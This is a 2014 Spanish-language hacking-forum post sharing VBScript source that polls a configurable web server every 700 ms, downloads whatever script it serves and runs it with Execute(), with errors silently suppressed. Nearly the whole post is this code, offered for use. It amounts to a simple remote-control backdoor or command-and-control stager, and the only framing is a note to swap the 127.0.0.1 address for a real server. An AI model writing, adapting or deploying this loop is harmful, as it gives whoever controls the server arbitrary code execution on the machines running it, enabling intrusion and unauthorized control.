elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [vbs][source] ejecuta script de forma remota
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [vbs][source] ejecuta script de forma remota  (Leído 2,227 veces)
daryo


Desconectado Desconectado

Mensajes: 1.070



Ver Perfil WWW
[vbs][source] ejecuta script de forma remota
« en: 26 Abril 2014, 22:51 pm »

tuve un pequeño problema con la cache de internet explorer pero ya esta solucionado  :D.
la ubicacion del script debe cambiarse en http://127.0.0.1/?l= por http:/direccion/?l=
Código
  1. Function anticache() ' al parecer usa la cache de internet explorer , de esta forma hago se actualize
  2. anticache=day(date())&Month(Date())&Year(date())&Hour(time())&Minute(Time())&Second(Time()) &Rnd ' en una sola cadena mete el dia,mes,año,hora,minuto,segundos y un numero aleatorio
  3. End Function
  4.  
  5. Function supertest() ' esta funcion descarga el script
  6. dim resultado,magik,daryo
  7. set magik=CreateObject("MSXML2.XMLHTTP")
  8. magik.open "GET" , "http://127.0.0.1/?l=" & anticache ,false  
  9. magik.send
  10. supertest = magik.ResponseText
  11. End Function
  12.  
  13. dim prueba1,prueba2,x ' pude usar un array pero asi tambien funciona xD
  14. x=1
  15. while true
  16. if x= 1 Then
  17. prueba1=supertest ' descarga el contenido de la web , que debe ser un script en vbs y lo mete en la variable prueba1
  18. x=0
  19. else
  20. prueba2=supertest
  21. x=1
  22. End If
  23. if not(prueba1 = prueba2) then ' esto determina si el comando ha cambiado desde la ultima vez que lo ejecuto
  24. On ERROR Resume Next
  25. Execute(supertest) ' ejecuta la cadena supertest
  26. End IF
  27. Wscript.sleep 700 ' no quiero sobrecargar el servidor
  28.  
  29. wend


En línea

buenas
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
web php ejecuta script
PHP
winnipu 6 3,384 Último mensaje 1 Febrero 2009, 00:23 am
por winnipu
algún bat o script para apagar los pc de forma remota. « 1 2 »
Redes
tobu 10 12,874 Último mensaje 24 Noviembre 2010, 00:59 am
por y0g-s0th0th
AYUDA: Mi Script (JS), no se ejecuta desde un archivo PHP
PHP
NetStorm 4 6,869 Último mensaje 19 Febrero 2011, 02:29 am
por WHK
Por qué no se ejecuta este proceso de forma oculta?
.NET (C#, VB.NET, ASP)
luison 1 2,623 Último mensaje 17 Agosto 2011, 07:28 am
por adan-2994
Refused to execute a javascript script. Source code of script found within reque
Nivel Web
acoevil 2 4,234 Último mensaje 7 Diciembre 2011, 13:17 pm
por acoevil
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines